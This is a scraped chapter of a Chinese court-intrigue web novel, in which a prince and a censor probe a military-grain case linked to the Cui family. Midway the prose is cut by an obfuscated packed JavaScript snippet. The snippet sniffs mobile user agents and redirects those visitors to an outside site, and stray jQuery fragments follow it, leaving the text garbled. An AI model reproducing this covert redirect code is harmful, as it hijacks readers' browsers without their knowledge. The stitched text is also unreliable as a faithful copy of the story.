徐景淮的目光放到那扇朱红色的大门前面。
不一会儿,听到了外面小厮的声音。
很快,门被打开,露出一个深红色的人影——
是苏泉玉。
徐景淮不是没有见过他,但是两个人单独见面这还是头一次。
他有听闻过苏泉玉面若冠玉的传闻,如今一见,真是觉得这人瞧着格外温和。
似乎,和他听说的一些事情对不上。
苏泉玉是人臣,自然要向徐景淮行礼。
徐景淮知晓自己现在的处境,连忙扶住了苏泉玉,把人往屋子里面带。
苏泉玉跟在徐景淮后面,打量着这座王府。
徐景淮不是奢侈的人,或者是他的奢侈不再表面上,这座王府看着普普通通,哪怕是一个一品官员的府邸,都可能比他的王府要华丽些。
徐景淮开口道:“早听闻苏大人年少有为,这次得了机会,实在是本王的荣幸。”
徐景淮说话好听,一句话把自己的姿态放低,顺带还提了提苏泉玉的地位。
苏泉玉微微一笑:“哪里,是我有幸帮助殿下,是我们御史台的荣幸。”
听了苏泉玉的话,徐景淮面色不变,继续把人往前带,一直带到了书房里面。
徐景淮提步走进去,伸手示意苏泉玉入座。
苏泉玉晓得徐景淮的心思。
如今陈尚书大势已去,但是皇后的势力还在,徐景淮不过一个宫女所出,自然是比不过皇帝心尖上的皇后娘娘的。
苏泉玉虽然不是什么大官,但是御史的权力是摆在明面上的,更重要的是,苏泉玉颇受皇帝看重。
徐景淮如今身边的左膀右臂虽然有,但是如果可以多出一个人,自然是更好的。
徐景淮想拉拢他。
两个人都心知肚明,但是苏泉玉现在并没有站队的想法。
于是他先一步开口,把话题锁定到军粮一案上面。
“听闻殿下在查一位转运副使,不知可有什么收获?”
徐景淮闻言心中一荡,抬眸看向苏泉玉,笑道:“苏大人消息倒是灵通。那转运副使是负责运粮的,目前倒是没什么新的发现。”
苏泉玉道:“那殿下还得多查查了。”
徐景淮闻言面色一沉,转而笑道:“这不是真需要苏大人的帮助吗。”
苏泉玉摆摆头,遗憾道:“苏某不过一介文官而已,和军队的事情搭不上边,之后还是得仰仗殿下。”
此言一出,徐景淮心里更是恼火,他今日多次给了苏泉玉台阶下,没成想这个人这么不领情。不领情也就算了,还反过来阴阳怪气。
徐景淮看着苏泉玉,也不晓得自己哪里得罪到了这位大人,但是毕竟也得一起共事查明这个案子,徐景淮不好开口说些什么,只能继续笑道:“苏大人说的是,之后我定督促那些人。”
苏泉玉点点头,开口分析道:“这位转运副使是个极低的官职,想来也是被人当枪使了,他都不一定晓得这些粮是送往战场去的。倒不如花大力气找找他背后仰仗的人是谁。”
听了苏泉玉的话,徐景淮心里有了盘算:“这位副使的妻子是京城人氏,说来倒也和皇城的人有些瓜葛。”
苏泉玉本就无意探查此事,这种和军事相关的东西,自然是知道得越多风险越大,苏泉玉只堪堪了解了吴康一人,关于他妻家的事情可以说是一无所知。
徐景淮开口道:“他妻家是崔家,但是京城中并无多少人知晓,还是上次崔夫人进宫来找皇后娘娘我发现的。”
苏泉玉闻言只觉得悚然,他的脑子里面有了一个猜测,上次刚回京城时他遇见的那个姑娘。
徐景淮看出了苏泉玉神色的变化,笑道:“说来,那位吴大人的夫人还是苏大人的旧识呢。”
苏泉玉露出疑惑之色,问道:“旧识?”
徐景淮的目光没有始终停留在苏泉玉的面上,开口道:“她是崔家人,崔夫人的幼女——崔容。”
尽管心中有了一个猜测,听到这个答案苏泉玉还是心中一震。
他和崔容算不上熟悉,但是楚宜却认识这个姑娘。
当年楚宜在华严寺中,无意间冲撞了这位姑娘,崔家仆人的性子苏泉玉上次是见识过的,不过那位姑娘倒是好心,没有发作,反而对楚宜十分亲近。
当时她也在华严寺里面住了几天,一来二去和楚宜也熟悉起来。
所以苏泉玉对这个姑娘也知道一些,上次在别人口中听闻她的名字,似乎还是当年崔家传出来小姐病重的消息,她就连成亲也没听闻过。
徐景淮可以猜到苏泉玉听闻这个消息之后心中满是疑惑。
是啊,他当时也不相信。
崔夫人是他的姑姑,崔容就是他的堂妹。
他当时也没有想到,崔容竟然做出了如此大逆不道的事情,也没有想到,自己的姑姑竟然纵容自己的女儿做出这样大逆不道的事情,
看来皇家冷血的人,只有他们这一支。
徐景淮道:“苏大人别怀疑,崔容是本王的堂妹,本王自然不敢信口开河。”
苏泉玉道:“如果这件事情和崔家扯上关系,那可就不一般了。”
徐景淮面色无波,平淡开口:“我明白,”
苏泉玉看着徐景淮,面前的男人眼中带着癫狂。
苏泉玉知道了为何他愿意接下这个烫手山芋了。
军粮之事,查,肯定难,但是就是因为这件事情的难,让案子有了许多可以展开的地方。
军事是一国之本,皇帝又是个六亲不认的人。
如今的世家多多少少对皇权有些影响,但若是皇帝和官员联起手来讨伐一个世家,不见得不能扳倒他们。
更重要的是,战场上面的都是普通百姓们的孩子,若是百姓们得知了此事和某个世家有关,国之根本必然会动摇,届时,皇帝和官员们不得不对崔家出手。
对于徐景淮来说,崔家的确是一个坎儿。
崔家人更加偏向大皇子。
当年崔家家主就曾上书提议立大皇子为太子。
徐景淮定然是查到了一些东西,才敢揽下这个差事。
原来如此,苏泉玉面上露出一个笑容,开口道:“殿下比我想象中思虑更加周全。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17095732|191835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>徐景淮没有回答苏泉玉这句话,他只是淡淡看了他一眼。
他的眼睛里面有太多东西糅杂。
但是苏泉玉没有想去理清。
皇家本就是这样,总是逼着人去做一些事情。
心狠,冷血。
这是必经之路。
苏泉玉道:“那陛下可是要去查崔家?”
徐景淮听了他的话一笑,摇摇头:“崔家势力这般大,自然没办法对崔家动手。加上吴康和崔容的婚事是秘密的,按着崔家人的手笔,怕是我们都找不到二人是夫妻的证据。”
“那陛下又是如何知晓此事的?”苏泉玉开口问道。
徐景淮面上仍然带着笑容:“风闻阁。”
苏泉玉闻言一愣。
竟然是楚宜告诉他的么。
楚宜和崔容是这般好的朋友,竟然会把这些事情都告诉徐景淮么。
苏泉玉不信。
“风闻阁对这些闺阁事情倒是格外清楚。”苏泉玉平淡道。
徐景淮看着苏泉玉,想要找到他面色的崩塌。
但是,很可惜,他没发现苏泉玉的神色有任何变化。
“毕竟是京城第一的情报阁。”
苏泉玉点点头,瞧着面上已经有了隐隐的不耐。
徐景淮心中有自己的打算,他继续道:“崔夫人可是给苏大人下了帖子,去参加几日之后的秋菊宴?”
苏泉玉点点头。
他看了眼徐景淮,明白了对方的意思。
苏泉玉开口道:“届时崔容应当会露面。”
“没错,届时苏大人可以自己探查一二,我想,以苏大人的才智,很快就会知道风闻阁的消息是真是假。”徐景淮慢悠悠地说。
苏泉玉没有拒绝。
等二人聊完,外面已经是一片黑色了。
苏泉玉离开的时候瞧见外面已经亮起了灯。
徐景淮没有留他,看着他离开,背影一步步靠近黑夜。
原先徐景淮只是在别人口中见识到了苏泉玉,所得到的词汇无非是温和,年少有为。今日一见,苏泉玉的形象在他心中倒是有些改变。
说他年少有为,徐景淮是信的。
苏泉玉本身是楚家的学生,在楚家出事之后仍旧可以明哲保身,留了条活命不说,还把他那个脾气古怪的父皇制的服服帖帖的。就连楚家家仆的亲人都成了一片枯骨,楚家女儿也在外流浪,他这个楚家的学生,楚家的准女婿却始终风风光光的,徐景淮从心底佩服他。
说他温和,徐景淮心中其实是不太相信的。
他更愿意相信不知来源的一些信息,也不愿意相信那些个曾经见过他的人口中的“温和”。
他的目光,他的行为,不像是个温和的人。
徐景淮可以看出来苏泉玉和他很像,温和不过是一个假面罢了。
只是不晓得,苏泉玉又是为何要带上一个假面。
和他一样有什么难言之隐么?
什么样的难言之隐会叫他伪装这么久。
自己是为了皇位如此,苏泉玉呢?
他到底是为了什么?